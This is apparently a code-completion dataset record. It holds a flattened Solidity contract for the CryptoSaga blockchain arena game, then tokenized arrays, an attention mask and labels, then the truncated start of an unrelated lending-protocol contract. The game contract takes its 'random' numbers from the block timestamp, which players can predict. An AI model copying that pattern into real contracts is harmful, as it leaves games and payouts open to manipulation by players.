isPlayerInQueue(address _player) view private returns (bool isContain) { isContain = false; for (uint256 i = recentPlayersFront; i < recentPlayersBack; i++) { if (_player == recentPlayers[i]) { isContain = true; } } } // @dev Push a new player into the queue. function pushPlayer(address _player) private { recentPlayers.push(_player); recentPlayersBack++; } // @dev Pop the oldest player in this queue. function popPlayer() private returns (address player) { if (recentPlayersBack == recentPlayersFront) return address(0); player = recentPlayers[recentPlayersFront]; delete recentPlayers[recentPlayersFront]; recentPlayersFront++; } } /** * @title CryptoSagaArenaVer1 * @dev The actual gameplay is done by this contract. Version 1.0.0. */ contract CryptoSagaArenaVer1 is Claimable, Pausable { struct PlayRecord { // This is needed for reconstructing the record. uint32 initialSeed; // The address of the enemy player. address enemyAddress; // Hero&#39;s token ids. uint256[4] tokenIds; // Unit&#39;s class ids. 0 ~ 3: Heroes. 4 ~ 7: Mobs. uint32[8] unitClassIds; // Unit&#39;s levels. 0 ~ 3: Heroes. 4 ~ 7: Mobs. uint32[8] unitLevels; // Exp reward given. uint32 expReward; // Gold Reward given. uint256 goldReward; } // This information can be reconstructed with seed and dateTime. // For the optimization this won&#39;t be really used. struct TurnInfo { // Number of turns before a team was vanquished. uint8 turnLength; // Turn order of units. uint8[8] turnOrder; // Defender list. (The unit that is attacked.) uint8[24] defenderList; // Damage list. (The damage given to the defender.) uint32[24] damageList; // Heroes&#39; original Exps. uint32[4] originalExps; } // Progress contract. CryptoSagaArenaRecord private recordContract; // The hero contract. CryptoSagaHero private heroContract; // Corrected hero stats contract. CryptoSagaCorrectedHeroStats private correctedHeroContract; // Gold contract. Gold public goldContract; // Card contract. CryptoSagaCard public cardContract; // The location Id of this contract. // Will be used when calling deploy function of hero contract. uint32 public locationId = 100; // Hero cooldown time. (Default value: 60 mins.) uint256 public coolHero = 3600; // The exp reward for fighting in this arena. uint32 public expReward = 100; // The Gold reward when fighting in this arena. uint256 public goldReward = 1000000000000000000; // Should this contract save the turn data? bool public isTurnDataSaved = true; // Last game&#39;s record of the player. mapping(address => PlayRecord) public addressToPlayRecord; // Additional information on last game&#39;s record of the player. mapping(address => TurnInfo) public addressToTurnInfo; // Random seed. uint32 private seed = 0; // Event that is fired when a player fights in this arena. event TryArena( address indexed _by, address indexed _against, bool _didWin ); // @dev Get previous game record. function getPlayRecord(address _address) external view returns (uint32, address, uint256[4], uint32[8], uint32[8], uint32, uint256, uint8, uint8[8], uint8[24], uint32[24]) { PlayRecord memory _p = addressToPlayRecord[_address]; TurnInfo memory _t = addressToTurnInfo[_address]; return ( _p.initialSeed, _p.enemyAddress, _p.tokenIds, _p.unitClassIds, _p.unitLevels, _p.expReward, _p.goldReward, _t.turnLength, _t.turnOrder, _t.defenderList, _t.damageList ); } // @dev Get previous game record. function getPlayRecordNoTurnData(address _address) external view returns (uint32, address, uint256[4], uint32[8], uint32[8], uint32, uint256) { PlayRecord memory _p = addressToPlayRecord[_address]; return ( _p.initialSeed, _p.enemyAddress, _p.tokenIds, _p.unitClassIds, _p.unitLevels, _p.expReward, _p.goldReward ); } // @dev Set location id. function setLocationId(uint32 _value) onlyOwner public { locationId = _value; } // @dev Set cooldown of heroes entered this arena. function setCoolHero(uint32 _value) onlyOwner public { coolHero = _value; } // @dev Set the Exp given to the player for fighting in this arena. function setExpReward(uint32 _value) onlyOwner public { expReward = _value; } // @dev Set the Golds given to the player for fighting in this arena. function setGoldReward(uint256 _value) onlyOwner public { goldReward = _value; } // @dev Set wether the turn data saved or not. function setIsTurnDataSaved(bool _value) onlyOwner public { isTurnDataSaved = _value; } // @dev Constructor. function CryptoSagaArenaVer1( address _recordContractAddress, address _heroContractAddress, address _correctedHeroContractAddress, address _cardContractAddress, address _goldContractAddress, address _firstPlayerAddress, uint32 _locationId, uint256 _coolHero, uint32 _expReward, uint256 _goldReward, bool _isTurnDataSaved) public { recordContract = CryptoSagaArenaRecord(_recordContractAddress); heroContract = CryptoSagaHero(_heroContractAddress); correctedHeroContract = CryptoSagaCorrectedHeroStats(_correctedHeroContractAddress); cardContract = CryptoSagaCard(_cardContractAddress); goldContract = Gold(_goldContractAddress); // Save first player&#39;s record. // This is for preventing errors. PlayRecord memory _playRecord; _playRecord.initialSeed = seed; _playRecord.enemyAddress = _firstPlayerAddress; _playRecord.tokenIds[0] = 1; _playRecord.tokenIds[1] = 2; _playRecord.tokenIds[2] = 3; _playRecord.tokenIds[3] = 4; addressToPlayRecord[_firstPlayerAddress] = _playRecord; locationId = _locationId; coolHero = _coolHero; expReward = _expReward; goldReward = _goldReward; isTurnDataSaved = _isTurnDataSaved; } // @dev Enter this arena. function enterArena(uint256[4] _tokenIds, address _enemyAddress) whenNotPaused public { // Shouldn&#39;t fight against self. require(msg.sender != _enemyAddress); // Each hero should be with different ids. require(_tokenIds[0] == 0 || (_tokenIds[0] != _tokenIds[1] && _tokenIds[0] != _tokenIds[2] && _tokenIds[0] != _tokenIds[3])); require(_tokenIds[1] == 0 || (_tokenIds[1] != _tokenIds[0] && _tokenIds[1] != _tokenIds[2] && _tokenIds[1] != _tokenIds[3])); require(_tokenIds[2] == 0 || (_tokenIds[2] != _tokenIds[0] && _tokenIds[2] != _tokenIds[1] && _tokenIds[2] != _tokenIds[3])); require(_tokenIds[3] == 0 || (_tokenIds[3] != _tokenIds[0] && _tokenIds[3] != _tokenIds[1] && _tokenIds[3] != _tokenIds[2])); // Check ownership and availability of the heroes. require(checkOwnershipAndAvailability(msg.sender, _tokenIds)); // The play record of the enemy should exist. // The check is done with the enemy&#39;s enemy address, because the default value of it will be address(0). require(addressToPlayRecord[_enemyAddress].enemyAddress != address(0)); // Set seed. seed += uint32(now); // Define play record here. PlayRecord memory _playRecord; _playRecord.initialSeed = seed; _playRecord.enemyAddress = _enemyAddress; _playRecord.tokenIds[0] = _tokenIds[0]; _playRecord.tokenIds[1] = _tokenIds[1]; _playRecord.tokenIds[2] = _tokenIds[2]; _playRecord.tokenIds[3] = _tokenIds[3]; // The information that can give additional information. TurnInfo memory _turnInfo; // Step 1: Retrieve Hero information (0 ~ 3) & Enemy information (4 ~ 7). uint32[5][8] memory _unitStats; // Stats of units for given levels and class ids. uint8[2][8] memory _unitTypesAuras; // 0: Types of units for given levels and class ids. 1: Auras of units for given levels and class ids. // Retrieve deployed hero information. if (_tokenIds[0] != 0) { _playRecord.unitClassIds[0] = heroContract.getHeroClassId(_tokenIds[0]); (_playRecord.unitLevels[0], _turnInfo.originalExps[0], _unitStats[0], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[0]); (, , , , _unitTypesAuras[0][0], , _unitTypesAuras[0][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[0]); } if (_tokenIds[1] != 0) { _playRecord.unitClassIds[1] = heroContract.getHeroClassId(_tokenIds[1]); (_playRecord.unitLevels[1], _turnInfo.originalExps[1], _unitStats[1], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[1]); (, , , , _unitTypesAuras[1][0], , _unitTypesAuras[1][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[1]); } if (_tokenIds[2] != 0) { _playRecord.unitClassIds[2] = heroContract.getHeroClassId(_tokenIds[2]); (_playRecord.unitLevels[2], _turnInfo.originalExps[2], _unitStats[2], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[2]); (, , , , _unitTypesAuras[2][0], , _unitTypesAuras[2][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[2]); } if (_tokenIds[3] != 0) { _playRecord.unitClassIds[3] = heroContract.getHeroClassId(_tokenIds[3]); (_playRecord.unitLevels[3], _turnInfo.originalExps[3], _unitStats[3], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[3]); (, , , , _unitTypesAuras[3][0], , _unitTypesAuras[3][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[3]); } // Retrieve enemy information. PlayRecord memory _enemyPlayRecord = addressToPlayRecord[_enemyAddress]; if (_enemyPlayRecord.tokenIds[0] != 0) { _playRecord.unitClassIds[4] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[0]); (_playRecord.unitLevels[4], , _unitStats[4], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[0]); (, , , , _unitTypesAuras[4][0], , _unitTypesAuras[4][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[4]); } if (_enemyPlayRecord.tokenIds[1] != 0) { _playRecord.unitClassIds[5] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[1]); (_playRecord.unitLevels[5], , _unitStats[5], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[1]); (, , , , _unitTypesAuras[5][0], , _unitTypesAuras[5][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[5]); } if (_enemyPlayRecord.tokenIds[2] != 0) { _playRecord.unitClassIds[6] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[2]); (_playRecord.unitLevels[6], , _unitStats[6], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[2]); (, , , , _unitTypesAuras[6][0], , _unitTypesAuras[6][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[6]); } if (_enemyPlayRecord.tokenIds[3] != 0) { _playRecord.unitClassIds[7] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[3]); (_playRecord.unitLevels[7], , _unitStats[7], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[3]); (, , , , _unitTypesAuras[7][0], , _unitTypesAuras[7][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[7]); } // Step 2. Run the battle logic. // Firstly, we need to assign the unit&#39;s turn order with AGLs of the units. uint32[8] memory _unitAGLs; for (uint8 i = 0; i < 8; i ++) { _unitAGLs[i] = _unitStats[i][2]; } _turnInfo.turnOrder = getOrder(_unitAGLs); // Fight for 24 turns. (8 units x 3 rounds.) _turnInfo.turnLength = 24; for (i = 0; i < 24; i ++) { if (_unitStats[4][4] == 0 && _unitStats[5][4] == 0 && _unitStats[6][4] == 0 && _unitStats[7][4] == 0) { _turnInfo.turnLength = i; break; } else if (_unitStats[0][4] == 0 && _unitStats[1][4] == 0 && _unitStats[2][4] == 0 && _unitStats[3][4] == 0) { _turnInfo.turnLength = i; break; } var _slotId = _turnInfo.turnOrder[(i % 8)]; if (_slotId < 4 && _tokenIds[_slotId] == 0) { // This means the slot is empty. // Defender should be default value. _turnInfo.defenderList[i] = 127; } else if (_unitStats[_slotId][4] == 0) { // This means the unit on this slot is dead. // Defender should be default value. _turnInfo.defenderList[i] = 128; } else { // 1) Check number of attack targets that are alive. uint8 _targetSlotId = 255; if (_slotId < 4) { if (_unitStats[4][4] > 0) _targetSlotId = 4; else if (_unitStats[5][4] > 0) _targetSlotId = 5; else if (_unitStats[6][4] > 0) _targetSlotId = 6; else if (_unitStats[7][4] > 0) _targetSlotId = 7; } else { if (_unitStats[0][4] > 0) _targetSlotId = 0; else if (_unitStats[1][4] > 0) _targetSlotId = 1; else if (_unitStats[2][4] > 0) _targetSlotId = 2; else if (_unitStats[3][4] > 0) _targetSlotId = 3; } // Target is the defender. _turnInfo.defenderList[i] = _targetSlotId; // Base damage. (Attacker&#39;s ATK * 1.5 - Defender&#39;s DEF). uint32 _damage = 10; if ((_unitStats[_slotId][0] * 150 / 100) > _unitStats[_targetSlotId][1]) _damage = max((_unitStats[_slotId][0] * 150 / 100) - _unitStats[_targetSlotId][1], 10); else _damage = 10; // Check miss / success. if ((_unitStats[_slotId][3] * 150 / 100) > _unitStats[_targetSlotId][2]) { if (min(max(((_unitStats[_slotId][3] * 150 / 100) - _unitStats[_targetSlotId][2]), 75), 99) <= random(100, 0)) _damage = _damage * 0; } else { if (75 <= random(100, 0)) _damage = _damage * 0; } // Is the attack critical? if (_unitStats[_slotId][3] > _unitStats[_targetSlotId][3]) { if (min(max((_unitStats[_slotId][3] - _unitStats[_targetSlotId][3]), 5), 75) > random(100, 0)) _damage = _damage * 150 / 100; } else { if (5 > random(100, 0)) _damage = _damage * 150 / 100; } // Is attacker has the advantageous Type? if (_unitTypesAuras[_slotId][0] == 0 && _unitTypesAuras[_targetSlotId][0] == 1) // Fighter > Rogue _damage = _damage * 125 / 100; else if (_unitTypesAuras[_slotId][0] == 1 && _unitTypesAuras[_targetSlotId][0] == 2) // Rogue > Mage _damage = _damage * 125 / 100; else if (_unitTypesAuras[_slotId][0] == 2 && _unitTypesAuras[_targetSlotId][0] == 0) // Mage > Fighter _damage = _damage * 125 / 100; // Is attacker has the advantageous Aura? if (_unitTypesAuras[_slotId][1] == 0 && _unitTypesAuras[_targetSlotId][1] == 1) // Water > Fire _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 1 && _unitTypesAuras[_targetSlotId][1] == 2) // Fire > Nature _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 2 && _unitTypesAuras[_targetSlotId][1] == 0) // Nature > Water _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 3 && _unitTypesAuras[_targetSlotId][1] == 4) // Light > Darkness _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 4 && _unitTypesAuras[_targetSlotId][1] == 3) // Darkness > Light _damage = _damage * 150 / 100; // Apply damage so that reduce hp of defender. if(_unitStats[_targetSlotId][4] > _damage) _unitStats[_targetSlotId][4] -= _damage; else _unitStats[_targetSlotId][4] = 0; // Save damage to play record. _turnInfo.damageList[i] = _damage; } } // Step 3. Apply the result of this battle. // Set heroes deployed. if (_tokenIds[0] != 0) heroContract.deploy(_tokenIds[0], locationId, coolHero); if (_tokenIds[1] != 0) heroContract.deploy(_tokenIds[1], locationId, coolHero); if (_tokenIds[2] != 0) heroContract.deploy(_tokenIds[2], locationId, coolHero); if (_tokenIds[3] != 0) heroContract.deploy(_tokenIds[3], locationId, coolHero); uint8 _deadHeroes = 0; uint8 _deadEnemies = 0; // Check result. if (_unitStats[0][4] == 0) _deadHeroes ++; if (_unitStats[1][4] == 0) _deadHeroes ++; if (_unitStats[2][4] == 0) _deadHeroes ++; if (_unitStats[3][4] == 0) _deadHeroes ++; if (_unitStats[4][4] == 0) _deadEnemies ++; if (_unitStats[5][4] == 0) _deadEnemies ++; if (_unitStats[6][4] == 0) _deadEnemies ++; if (_unitStats[7][4] == 0) _deadEnemies ++; if (_deadEnemies > _deadHeroes) { // Win // Fire TryArena event. TryArena(msg.sender, _enemyAddress, true); // Give reward. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, true, _turnInfo.originalExps); // Save the record. recordContract.updateRecord(msg.sender, _enemyAddress, true); } else if (_deadEnemies < _deadHeroes) { // Lose // Fire TryArena event. TryArena(msg.sender, _enemyAddress, false); // Rewards. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, false, _turnInfo.originalExps); // Save the record. recordContract.updateRecord(msg.sender, _enemyAddress, false); } else { // Draw // Fire TryArena event. TryArena(msg.sender, _enemyAddress, false); // Rewards. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, false, _turnInfo.originalExps); } // Save the result of this gameplay. addressToPlayRecord[msg.sender] = _playRecord; // Save the turn data. // This is commented as this information can be reconstructed with intitial seed and date time. // By commenting this, we can reduce about 400k gas. if (isTurnDataSaved) { addressToTurnInfo[msg.sender] = _turnInfo; } } // @dev Check ownership. function checkOwnershipAndAvailability(address _playerAddress, uint256[4] _tokenIds) private view returns(bool) { if ((_tokenIds[0] == 0 || heroContract.ownerOf(_tokenIds[0]) == _playerAddress) && (_tokenIds[1] == 0 || heroContract.ownerOf(_tokenIds[1]) == _playerAddress) && (_tokenIds[2] == 0 || heroContract.ownerOf(_tokenIds[2]) == _playerAddress) && (_tokenIds[3] == 0 || heroContract.ownerOf(_tokenIds[3]) == _playerAddress)) { // Retrieve avail time of heroes. uint256[4] memory _heroAvailAts; if (_tokenIds[0] != 0) ( , , , , , _heroAvailAts[0], , , ) = heroContract.getHeroInfo(_tokenIds[0]); if (_tokenIds[1] != 0) ( , , , , , _heroAvailAts[1], , , ) = heroContract.getHeroInfo(_tokenIds[1]); if (_tokenIds[2] != 0) ( , , , , , _heroAvailAts[2], , , ) = heroContract.getHeroInfo(_tokenIds[2]); if (_tokenIds[3] != 0) ( , , , , , _heroAvailAts[3], , , ) = heroContract.getHeroInfo(_tokenIds[3]); if (_heroAvailAts[0] <= now && _heroAvailAts[1] <= now && _heroAvailAts[2] <= now && _heroAvailAts[3] <= now) { return true; } else { return false; } } else { return false; } } // @dev Give rewards. function giveReward(uint256[4] _heroes, bool _didWin, uint32[4] _originalExps) private returns (uint32 expRewardGiven, uint256 goldRewardGiven) { if (!_didWin) { // In case lost. // Give baseline gold reward. goldRewardGiven = goldReward / 10; expRewardGiven = expReward / 5; } else { // In case win. goldRewardGiven = goldReward; expRewardGiven = expReward; } // Give reward Gold. goldContract.mint(msg.sender, goldRewardGiven); // Give reward EXP. if(_heroes[0] != 0) heroContract.addExp(_heroes[0], uint32(2)**32 - _originalExps[0] + expRewardGiven); if(_heroes[1] != 0) heroContract.addExp(_heroes[1], uint32(2)**32 - _originalExps[1] + expRewardGiven); if(_heroes[2] != 0) heroContract.addExp(_heroes[2], uint32(2)**32 - _originalExps[2] + expRewardGiven); if(_heroes[3] != 0) heroContract.addExp(_heroes[3], uint32(2)**32 - _originalExps[3] + expRewardGiven); } // @dev Return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = seed % uint32(1103515245) + 12345; return seed % (_upper - _lower) + _lower; } // @dev Retreive order based on given array _by. function getOrder(uint32[8] _by) private pure returns (uint8[8]) { uint8[8] memory _order = [uint8(0), 1, 2, 3, 4, 5, 6, 7]; for (uint8 i = 0; i < 8; i ++) { for (uint8 j = i + 1; j < 8; j++) { if (_by[i] < _by[j]) { uint32 tmp1 = _by[i]; _by[i] = _by[j]; _by[j] = tmp1; uint8 tmp2 = _order[i]; _order[i] = _order[j]; _order[j] = tmp2; } } } return _order; } // @return Bigger value of two uint32s. function max(uint32 _value1, uint32 _value2) private pure returns (uint32) { if(_value1 >= _value2) return _value1; else return _value2; } // @return Bigger value of two uint32s. function min(uint32 _value1, uint32 _value2) private pure returns (uint32) { if(_value2 >= _value1) return _value1; else return _value2; } // @return Square root of the given value. function sqrt(uint32 _value) private pure returns (uint32) { uint32 z = (_value + 1) / 2; uint32 y = _value; while (z < y) { y = z; z = (_value / z + z) / 2; } return y; } }
Firstly, we need to assign the unit&#39;s turn order with AGLs of the units.
uint32[8] memory _unitAGLs;
2,279,286
[ 1, 3759, 715, 16, 732, 1608, 358, 2683, 326, 2836, 10, 5520, 31, 87, 7005, 1353, 598, 432, 11261, 87, 434, 326, 4971, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1578, 63, 28, 65, 3778, 389, 4873, 1781, 48, 87, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/LoanFactory.sol pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0; ////// contracts/interfaces/ICollateralLocker.sol /* pragma solidity 0.6.11; */ interface ICollateralLocker { function collateralAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; } ////// contracts/interfaces/ICollateralLockerFactory.sol /* pragma solidity 0.6.11; */ interface ICollateralLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// contracts/interfaces/IERC20Details.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ interface IERC20Details is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); } ////// contracts/interfaces/IFundingLocker.sol /* pragma solidity 0.6.11; */ interface IFundingLocker { function liquidityAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; function drain() external; } ////// contracts/interfaces/IFundingLockerFactory.sol /* pragma solidity 0.6.11; */ interface IFundingLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// contracts/interfaces/ILateFeeCalc.sol /* pragma solidity 0.6.11; */ interface ILateFeeCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function lateFee() external view returns (uint256); function getLateFee(uint256) external view returns (uint256); } ////// contracts/interfaces/ILiquidityLocker.sol /* pragma solidity 0.6.11; */ interface ILiquidityLocker { function pool() external view returns (address); function liquidityAsset() external view returns (address); function transfer(address, uint256) external; function fundLoan(address, address, uint256) external; } ////// contracts/interfaces/ILoanFactory.sol /* pragma solidity 0.6.11; */ interface ILoanFactory { function CL_FACTORY() external view returns (uint8); function FL_FACTORY() external view returns (uint8); function INTEREST_CALC_TYPE() external view returns (uint8); function LATEFEE_CALC_TYPE() external view returns (uint8); function PREMIUM_CALC_TYPE() external view returns (uint8); function globals() external view returns (address); function loansCreated() external view returns (uint256); function loans(uint256) external view returns (address); function isLoan(address) external view returns (bool); function loanFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createLoan(address, address, address, address, uint256[5] memory, address[3] memory) external returns (address); function setLoanFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IMapleGlobals.sol /* pragma solidity 0.6.11; */ interface IMapleGlobals { function pendingGovernor() external view returns (address); function governor() external view returns (address); function globalAdmin() external view returns (address); function mpl() external view returns (address); function mapleTreasury() external view returns (address); function isValidBalancerPool(address) external view returns (bool); function treasuryFee() external view returns (uint256); function investorFee() external view returns (uint256); function defaultGracePeriod() external view returns (uint256); function fundingPeriod() external view returns (uint256); function swapOutRequired() external view returns (uint256); function isValidLiquidityAsset(address) external view returns (bool); function isValidCollateralAsset(address) external view returns (bool); function isValidPoolDelegate(address) external view returns (bool); function validCalcs(address) external view returns (bool); function isValidCalc(address, uint8) external view returns (bool); function getLpCooldownParams() external view returns (uint256, uint256); function isValidLoanFactory(address) external view returns (bool); function isValidSubFactory(address, address, uint8) external view returns (bool); function isValidPoolFactory(address) external view returns (bool); function getLatestPrice(address) external view returns (uint256); function defaultUniswapPath(address, address) external view returns (address); function minLoanEquity() external view returns (uint256); function maxSwapSlippage() external view returns (uint256); function protocolPaused() external view returns (bool); function stakerCooldownPeriod() external view returns (uint256); function lpCooldownPeriod() external view returns (uint256); function stakerUnstakeWindow() external view returns (uint256); function lpWithdrawWindow() external view returns (uint256); function oracleFor(address) external view returns (address); function validSubFactories(address, address) external view returns (bool); function setStakerCooldownPeriod(uint256) external; function setLpCooldownPeriod(uint256) external; function setStakerUnstakeWindow(uint256) external; function setLpWithdrawWindow(uint256) external; function setMaxSwapSlippage(uint256) external; function setGlobalAdmin(address) external; function setValidBalancerPool(address, bool) external; function setProtocolPause(bool) external; function setValidPoolFactory(address, bool) external; function setValidLoanFactory(address, bool) external; function setValidSubFactory(address, address, bool) external; function setDefaultUniswapPath(address, address, address) external; function setPoolDelegateAllowlist(address, bool) external; function setCollateralAsset(address, bool) external; function setLiquidityAsset(address, bool) external; function setCalc(address, bool) external; function setInvestorFee(uint256) external; function setTreasuryFee(uint256) external; function setMapleTreasury(address) external; function setDefaultGracePeriod(uint256) external; function setMinLoanEquity(uint256) external; function setFundingPeriod(uint256) external; function setSwapOutRequired(uint256) external; function setPriceOracle(address, address) external; function setPendingGovernor(address) external; function acceptGovernor() external; } ////// contracts/token/interfaces/IBaseFDT.sol /* pragma solidity 0.6.11; */ interface IBaseFDT { /** @dev Returns the total amount of funds a given address is able to withdraw currently. @param owner Address of FDT holder. @return A uint256 representing the available funds for a given account. */ function withdrawableFundsOf(address owner) external view returns (uint256); /** @dev Withdraws all available funds for a FDT holder. */ function withdrawFunds() external; /** @dev This event emits when new funds are distributed. @param by The address of the sender that distributed funds. @param fundsDistributed The amount of funds received for distribution. */ event FundsDistributed(address indexed by, uint256 fundsDistributed); /** @dev This event emits when distributed funds are withdrawn by a token holder. @param by The address of the receiver of funds. @param fundsWithdrawn The amount of funds that were withdrawn. @param totalWithdrawn The total amount of funds that were withdrawn. */ event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn); } ////// contracts/token/interfaces/IBasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import "./IBaseFDT.sol"; */ interface IBasicFDT is IBaseFDT, IERC20 { event PointsPerShareUpdated(uint256); event PointsCorrectionUpdated(address indexed, int256); function withdrawnFundsOf(address) external view returns (uint256); function accumulativeFundsOf(address) external view returns (uint256); function updateFundsReceived() external; } ////// contracts/token/interfaces/IExtendedFDT.sol /* pragma solidity 0.6.11; */ /* import "./IBasicFDT.sol"; */ interface IExtendedFDT is IBasicFDT { event LossesPerShareUpdated(uint256); event LossesCorrectionUpdated(address indexed, int256); event LossesDistributed(address indexed, uint256); event LossesRecognized(address indexed, uint256, uint256); function 